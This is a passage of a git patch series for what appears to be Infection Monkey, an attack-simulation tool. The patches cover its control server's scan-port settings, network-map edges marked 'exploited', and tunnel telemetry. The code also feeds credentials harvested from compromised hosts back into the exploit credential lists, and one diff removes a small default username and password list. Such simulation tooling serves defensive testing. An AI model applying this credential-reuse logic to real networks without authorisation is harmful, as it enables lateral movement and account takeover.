ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008 - ], - "description": "List of TCP ports the monkey will check whether they're open" - }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 200, - "description": "Time to sleep (in milliseconds) between scans" - }, - "tcp_scan_timeout": { - "title": "TCP scan timeout", - "type": "integer", - "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response" - }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the banner" - } - } + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 80, + 8080, + 443, + 8008 + ], + "description": "List of ports the monkey will check if are being used for HTTP" }, - "ping_scanner": { - "title": "Ping scanner", - "type": "object", - "properties": { - "ping_scan_timeout": { - "title": "Ping scan timeout", - "type": "integer", - "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response" - } - } + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008 + ], + "description": "List of TCP ports the monkey will check whether they're open" + }, + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 200, + "description": "Time to sleep (in milliseconds) between scans" + }, + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response" + }, + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the banner" + } + } + }, + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping response" } } } From be1b6879f749c7997bb36b399e37632fddec5eb5 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 13:30:28 +0300 Subject: [PATCH 27/32] Remove username/password lists from code. get/set from global config --- monkey_island/cc/island_config.py | 6 +---- monkey_island/cc/main.py | 6 ++--- monkey_island/cc/resources/monkey.py | 4 ---- monkey_island/cc/resources/root.py | 5 +---- monkey_island/cc/resources/telemetry.py | 11 +++------ monkey_island/cc/services/config.py | 17 ++++++++++++++ monkey_island/cc/utils.py | 30 ------------------------- 7 files changed, 24 insertions(+), 55 deletions(-) diff --git a/monkey_island/cc/island_config.py b/monkey_island/cc/island_config.py index 0ff527415..c53d27004 100644 --- a/monkey_island/cc/island_config.py +++ b/monkey_island/cc/island_config.py @@ -1,8 +1,4 @@ __author__ = 'itay.mizeretz' ISLAND_PORT = 5000 -DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland" - -# TODO: remove this, and get from global config` -INITIAL_USERNAMES = ['Administrator', 'root', 'user'] -INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"] \ No newline at end of file +DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland" \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index 472752c4a..dd133cfd1 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -8,8 +8,8 @@ if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) from cc.app import init_app -from cc.utils import init_collections, local_ip_addresses -from cc.island_config import DEFAULT_MONGO_URL, ISLAND_PORT, INITIAL_USERNAMES, INITIAL_PASSWORDS +from cc.utils import local_ip_addresses +from cc.island_config import DEFAULT_MONGO_URL, ISLAND_PORT if __name__ == '__main__': from tornado.wsgi import WSGIContainer @@ -17,8 +17,6 @@ if __name__ == '__main__': from tornado.ioloop import IOLoop app = init_app(os.environ.get('MONGO_URL', DEFAULT_MONGO_URL)) - with app.app_context(): - init_collections(INITIAL_USERNAMES, INITIAL_PASSWORDS) http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py index e1b3b618e..89be0e561 100644 --- a/monkey_island/cc/resources/monkey.py +++ b/monkey_island/cc/resources/monkey.py @@ -33,10 +33,6 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) - monkey_json['config']['exploit_user_list'] = \ - map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)])) - monkey_json['config']['exploit_password_list'] = \ - map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)])) return monkey_json else: result = {'timestamp': datetime.now().isoformat()} diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index f6ed8edf1..ce3fc6116 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -5,7 +5,7 @@ import flask_restful from cc.database import mongo -from cc.utils import init_collections, local_ip_addresses +from cc.utils import local_ip_addresses __author__ = 'Barak' @@ -22,11 +22,8 @@ class Root(flask_restful.Resource): mongo.db.config.drop() mongo.db.monkey.drop() mongo.db.telemetry.drop() - mongo.db.usernames.drop() - mongo.db.passwords.drop() mongo.db.node.drop() mongo.db.edge.drop() - init_collections() return jsonify(status='OK') elif action == "killall": mongo.db.monkey.update({}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 7f0510793..3150717f4 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -9,8 +9,7 @@ import flask_restful from cc.database import mongo from cc.services.edge import EdgeService from cc.services.node import NodeService - -from cc.utils import creds_add_username, creds_add_password +from cc.services.config import ConfigService __author__ = 'Barak' @@ -93,10 +92,9 @@ class Telemetry(flask_restful.Resource): if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] for user in creds: - creds_add_username(user) - + ConfigService.creds_add_username(user) if 'password' in creds[user]: - creds_add_password(creds[user]['password']) + ConfigService.creds_add_password(creds[user]['password']) def add_scan_to_edge(self, edge, telemetry_json): data = telemetry_json['data']['machine'] @@ -125,9 +123,6 @@ class Telemetry(flask_restful.Resource): {"$set": {"os.version": scan_os["version"]}}, upsert=False) - - - def add_exploit_to_edge(self, edge, telemetry_json): data = telemetry_json['data'] data["machine"].pop("ip_addr") diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index c2acbbde4..61b80423e 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -749,6 +749,7 @@ SCHEMA = { } } + class ConfigService: def __init__(self): pass @@ -775,6 +776,22 @@ class ConfigService: def get_config_schema(): return SCHEMA + @staticmethod + def creds_add_username(username): + mongo.db.config.update( + {'name': 'newconfig'}, + {'$addToSet': {'exploits.credentials.exploit_user_list': username}}, + upsert=False + ) + + @staticmethod + def creds_add_password(password): + mongo.db.config.update( + {'name': 'newconfig'}, + {'$addToSet': {'exploits.credentials.exploit_password_list': password}}, + upsert=False + ) + @staticmethod def update_config(): pass diff --git a/monkey_island/cc/utils.py b/monkey_island/cc/utils.py index 0274a1051..69b12612b 100644 --- a/monkey_island/cc/utils.py +++ b/monkey_island/cc/utils.py @@ -11,36 +11,6 @@ from cc.database import mongo __author__ = 'Barak' -# data structures - -def creds_add_username(username): - mongo.db.usernames.update( - {'username': username}, - {'$inc': {'count': 1}}, - upsert=True - ) - - -def creds_add_password(password): - mongo.db.passwords.update( - {'password': password}, - {'$inc': {'count': 1}}, - upsert=True - ) - - -def init_collections(usernames, passwords): - if "usernames" not in mongo.db.collection_names(): - mongo.db.usernames.create_index([("username", 1)], unique=True) - for username in usernames: - creds_add_username(username) - - if "passwords" not in mongo.db.collection_names(): - mongo.db.passwords.create_index([("password", 1)], unique=True) - for password in passwords: - creds_add_password(password) - - # Local ips function if sys.platform == "win32": def local_ips(): From 643b445199fe95275202e29a06df9cc19b80fb08 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 13:31:22 +0300 Subject: [PATCH 28/32] Change config value and description of local_network_scan --- monkey_island/cc/services/config.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 61b80423e..d996b3cdc 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -625,8 +625,8 @@ SCHEMA = { "local_network_scan": { "title": "Local network scan", "type": "boolean", - "default": False, - "description": "Determines whether monkey should also scan its own IPs" + "default": True, + "description": "Determines whether monkey should scan its subnets additionally" }, "network_range": { "title": "Network range", @@ -640,12 +640,12 @@ SCHEMA = { "FixedRange", "RelativeRange", "ClassCRange" - ], - "enumNames": [ + ], + "enumNames": [ "FixedRange", "RelativeRange", "ClassCRange" - ], + ], "description": "Determines which class to use to determine scan range" }, "range_size": { From 77f7e4c5a8ca10c632f227d062dcce6e15886598 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 16:25:29 +0300 Subject: [PATCH 29/32] Change tunnel telemetry format to fit expected structure --- chaos_monkey/monkey.py | 2 +- monkey_island/cc/resources/telemetry.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 6e128ed67..99298ebfd 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -86,7 +86,7 @@ class ChaosMonkey(object): self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) - ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) + ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 3150717f4..2a057f626 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -60,8 +60,8 @@ class Telemetry(flask_restful.Resource): def process_tunnel_telemetry(self, telemetry_json): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] - if telemetry_json['data']: - host = telemetry_json['data'].split(":")[-2].replace("//", "") + if telemetry_json['data']['proxy'] is not None: + host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id) else: From 9a9906326a4c162a669a267a17b32e6f07b92fbb Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 17:20:23 +0300 Subject: [PATCH 30/32] Change infected monkey island label add edges for infected monkey island add edge types add exploited node type --- monkey_island/cc/resources/netmap.py | 16 ++---- monkey_island/cc/resources/telemetry.py | 76 +++++++++++++------------ monkey_island/cc/services/edge.py | 71 ++++++++++++++++++++--- monkey_island/cc/services/node.py | 23 +++++++- 4 files changed, 129 insertions(+), 57 deletions(-) diff --git a/monkey_island/cc/resources/netmap.py b/monkey_island/cc/resources/netmap.py index f5ad4d06e..12418ef6b 100644 --- a/monkey_island/cc/resources/netmap.py +++ b/monkey_island/cc/resources/netmap.py @@ -11,12 +11,14 @@ class NetMap(flask_restful.Resource): def get(self, **kw): monkeys = [NodeService.monkey_to_net_node(x) for x in mongo.db.monkey.find({})] nodes = [NodeService.node_to_net_node(x) for x in mongo.db.node.find({})] - edges = [self.edge_to_net_edge(x) for x in mongo.db.edge.find({})] - monkey_island = [] + edges = [EdgeService.edge_to_net_edge(x) for x in mongo.db.edge.find({})] + if NodeService.get_monkey_island_monkey() is None: monkey_island = [NodeService.get_monkey_island_pseudo_net_node()] - # TODO: implement when monkey exists on island edges += EdgeService.get_monkey_island_pseudo_edges() + else: + monkey_island = [] + edges += EdgeService.get_infected_monkey_island_pseudo_edges() return \ { @@ -24,10 +26,4 @@ class NetMap(flask_restful.Resource): "edges": edges } - def edge_to_net_edge(self, edge): - return \ - { - "id": edge["_id"], - "from": edge["from"], - "to": edge["to"] - } + diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 2a057f626..1c17c1fa0 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -47,8 +47,10 @@ class Telemetry(flask_restful.Resource): self.process_tunnel_telemetry(telemetry_json) elif telemetry_json.get('telem_type') == 'state': self.process_state_telemetry(telemetry_json) - elif telemetry_json.get('telem_type') in ['scan', 'exploit']: - self.process_scan_exploit_telemetry(telemetry_json) + elif telemetry_json.get('telem_type') == 'exploit': + self.process_exploit_telemetry(telemetry_json) + elif telemetry_json.get('telem_type') == 'scan': + self.process_scan_telemetry(telemetry_json) elif telemetry_json.get('telem_type') == 'system_info_collection': self.process_system_info_telemetry(telemetry_json) NodeService.update_monkey_modify_time(monkey["_id"]) @@ -58,6 +60,15 @@ class Telemetry(flask_restful.Resource): return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) + def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json): + dst_ip = telemetry_json['data']['machine']['ip_addr'] + src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + dst_node = NodeService.get_monkey_by_ip(dst_ip) + if dst_node is None: + dst_node = NodeService.get_or_create_node(dst_ip) + + return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) + def process_tunnel_telemetry(self, telemetry_json): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] if telemetry_json['data']['proxy'] is not None: @@ -74,29 +85,25 @@ class Telemetry(flask_restful.Resource): else: NodeService.set_monkey_dead(monkey, False) - def process_scan_exploit_telemetry(self, telemetry_json): - dst_ip = telemetry_json['data']['machine']['ip_addr'] - src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - dst_node = NodeService.get_monkey_by_ip(dst_ip) - if dst_node is None: - dst_node = NodeService.get_or_create_node(dst_ip) + def process_exploit_telemetry(self, telemetry_json): + edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json) + data = telemetry_json['data'] + data["machine"].pop("ip_addr") + new_exploit = \ + { + "timestamp": telemetry_json["timestamp"], + "data": data, + "exploiter": telemetry_json['data']['exploiter'] + } + mongo.db.edge.update( + {"_id": edge["_id"]}, + {"$push": {"exploits": new_exploit}} + ) + if data['result']: + EdgeService.set_edge_exploited(edge) - edge = EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) - - if telemetry_json.get('telem_type') == 'scan': - self.add_scan_to_edge(edge, telemetry_json) - else: - self.add_exploit_to_edge(edge, telemetry_json) - - def process_system_info_telemetry(self, telemetry_json): - if 'credentials' in telemetry_json['data']: - creds = telemetry_json['data']['credentials'] - for user in creds: - ConfigService.creds_add_username(user) - if 'password' in creds[user]: - ConfigService.creds_add_password(creds[user]['password']) - - def add_scan_to_edge(self, edge, telemetry_json): + def process_scan_telemetry(self, telemetry_json): + edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json) data = telemetry_json['data']['machine'] data.pop("ip_addr") new_scan = \ @@ -123,17 +130,12 @@ class Telemetry(flask_restful.Resource): {"$set": {"os.version": scan_os["version"]}}, upsert=False) - def add_exploit_to_edge(self, edge, telemetry_json): - data = telemetry_json['data'] - data["machine"].pop("ip_addr") - new_exploit = \ - { - "timestamp": telemetry_json["timestamp"], - "data": data, - "exploiter": telemetry_json['data']['exploiter'] - } - mongo.db.edge.update( - {"_id": edge["_id"]}, - {"$push": {"exploits": new_exploit}} - ) + def process_system_info_telemetry(self, telemetry_json): + if 'credentials' in telemetry_json['data']: + creds = telemetry_json['data']['credentials'] + for user in creds: + ConfigService.creds_add_username(user) + if 'password' in creds[user]: + ConfigService.creds_add_password(creds[user]['password']) + diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py index c4921bc8d..05159560f 100644 --- a/monkey_island/cc/services/edge.py +++ b/monkey_island/cc/services/edge.py @@ -1,6 +1,7 @@ from bson import ObjectId from cc.database import mongo +import cc.services.node __author__ = "itay.mizeretz" @@ -99,7 +100,8 @@ class EdgeService: "to": to_id, "scans": [], "exploits": [], - "tunnel": False + "tunnel": False, + "exploited": False }) return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id}) @@ -111,6 +113,16 @@ class EdgeService: return tunnel_edge + @staticmethod + def generate_pseudo_edge(edge_id, edge_from, edge_to): + return \ + { + "id": edge_id, + "from": edge_from, + "to": edge_to, + "group": "island" + } + @staticmethod def get_monkey_island_pseudo_edges(): edges = [] @@ -120,13 +132,26 @@ class EdgeService: count = 0 for monkey_id in monkey_ids: count += 1 - edges.append( - { - "id": ObjectId(hex(count)[2:].zfill(24)), - "from": monkey_id, - "to": ObjectId("000000000000000000000000") - } - ) + edges.append(EdgeService.generate_pseudo_edge( + ObjectId(hex(count)[2:].zfill(24)), monkey_id, ObjectId("000000000000000000000000"))) + + return edges + + @staticmethod + def get_infected_monkey_island_pseudo_edges(): + monkey = cc.services.node.NodeService.get_monkey_island_monkey() + existing_ids = [x["_id"] for x in mongo.db.edge.find({"to": monkey["_id"]})] + monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) + if ("tunnel" not in x) and (x["_id"] not in existing_ids)] + edges = [] + + # We're using fake ids because the frontend graph module requires unique ids. + # Collision with real id is improbable. + count = 0 + for monkey_id in monkey_ids: + count += 1 + edges.append(EdgeService.generate_pseudo_edge( + ObjectId(hex(count)[2:].zfill(24)), monkey_id, monkey["_id"])) return edges @@ -134,3 +159,33 @@ class EdgeService: def services_to_displayed_services(services): # TODO: Consider returning extended information on services. return [x + ": " + services[x]["name"] for x in services] + + @staticmethod + def edge_to_net_edge(edge): + return \ + { + "id": edge["_id"], + "from": edge["from"], + "to": edge["to"], + "group": EdgeService.get_edge_group(edge) + } + + @staticmethod + def get_edge_group(edge): + if edge["exploited"]: + return "exploited" + if edge["tunnel"]: + return "tunnel" + if (len(edge["scans"]) > 0) or (len(edge["exploits"]) > 0): + return "scan" + return "empty" + + @staticmethod + def set_edge_exploited(edge): + mongo.db.edge.update( + {"_id": edge["_id"]}, + {"$set": {"exploited": True}} + ) + + cc.services.node.NodeService.set_node_exploited(edge["to"]) + diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py index db5a88abe..1b16571c2 100644 --- a/monkey_island/cc/services/node.py +++ b/monkey_island/cc/services/node.py @@ -89,7 +89,11 @@ class NodeService: @staticmethod def get_monkey_label(monkey): - return monkey["hostname"] + " : " + monkey["ip_addresses"][0] + label = monkey["hostname"] + " : " + monkey["ip_addresses"][0] + ip_addresses = local_ip_addresses() + if len(set(monkey["ip_addresses"]).intersection(ip_addresses)) > 0: + label = "MonkeyIsland - " + label + return label @staticmethod def get_monkey_group(monkey): @@ -98,6 +102,13 @@ class NodeService: return "manuallyInfected" if NodeService.get_monkey_manual_run(monkey) else "infected" + @staticmethod + def get_node_group(node): + if node["exploited"]: + return "exploited" + else: + return "clean" + @staticmethod def monkey_to_net_node(monkey): return \ @@ -115,7 +126,7 @@ class NodeService: { "id": node["_id"], "label": NodeService.get_node_label(node), - "group": "clean", + "group": NodeService.get_node_group(node), "os": node["os"]["type"] } @@ -148,6 +159,7 @@ class NodeService: new_node_insert_result = mongo.db.node.insert_one( { "ip_addresses": [ip_address], + "exploited": False, "os": { "type": "unknown", @@ -218,3 +230,10 @@ class NodeService: island_node = NodeService.get_monkey_island_pseudo_net_node() island_node["ip_addresses"] = local_ip_addresses() return island_node + + @staticmethod + def set_node_exploited(node_id): + mongo.db.node.update( + {"_id": node_id}, + {"$set": {"exploited": True}} + ) From 5b3e526d499960f35f8a88dff06e0ad635d48056 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 18:01:41 +0300 Subject: [PATCH 31/32] Show tunnel info and remove config from queried node --- monkey_island/cc/services/node.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py index 1b16571c2..ed626eb5c 100644 --- a/monkey_island/cc/services/node.py +++ b/monkey_island/cc/services/node.py @@ -13,7 +13,7 @@ class NodeService: @staticmethod def get_displayed_node_by_id(node_id): - if ObjectId(node_id) == ObjectId("000000000000000000000000"): + if ObjectId(node_id) == NodeService.get_monkey_island_pseudo_id(): return NodeService.get_monkey_island_node() edges = EdgeService.get_displayed_edges_by_to(node_id) @@ -31,8 +31,7 @@ class NodeService: # node is infected new_node = NodeService.monkey_to_net_node(monkey) for key in monkey: - # TODO: do something with tunnel - if key not in ["_id", "modifytime", "parent", "tunnel", "dead"]: + if key not in ["_id", "modifytime", "parent", "dead", "config"]: new_node[key] = monkey[key] else: @@ -53,8 +52,6 @@ class NodeService: if len(edges) > 0: new_node["services"] = edges[-1]["services"] - # TODO: add exploited by - return new_node @staticmethod @@ -216,11 +213,15 @@ class NodeService: return monkey return None + @staticmethod + def get_monkey_island_pseudo_id(): + return ObjectId("000000000000000000000000") + @staticmethod def get_monkey_island_pseudo_net_node(): return\ { - "id": ObjectId("000000000000000000000000"), + "id": NodeService.get_monkey_island_pseudo_id(), "label": "MonkeyIsland", "group": "islandClean", } From 8973032ca56fbe7997ad42422b0ff3c81c7c2fe9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 18:11:59 +0300 Subject: [PATCH 32/32] Extract credentials in a more generic fashion --- monkey_island/cc/services/edge.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py index 05159560f..edadb1322 100644 --- a/monkey_island/cc/services/edge.py +++ b/monkey_island/cc/services/edge.py @@ -70,17 +70,14 @@ class EdgeService: user = "" password = "" - # TODO: implement for other exploiters # TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt. result = exploit["data"]["result"] - if exploit["exploiter"] == "RdpExploiter": - user = exploit["data"]["machine"]["creds"].keys()[0] - password = exploit["data"]["machine"]["creds"][user] - elif exploit["exploiter"] == "SmbExploiter": - if result: - user = exploit["data"]["machine"]["cred"].keys()[0] - password = exploit["data"]["machine"]["cred"][user] - else: + if result: + if "creds" in exploit["data"]["machine"]: + user = exploit["data"]["machine"]["creds"].keys()[0] + password = exploit["data"]["machine"]["creds"][user] + else: + if ("user" in exploit["data"]) and ("password" in exploit["data"]): user = exploit["data"]["user"] password = exploit["data"]["password"]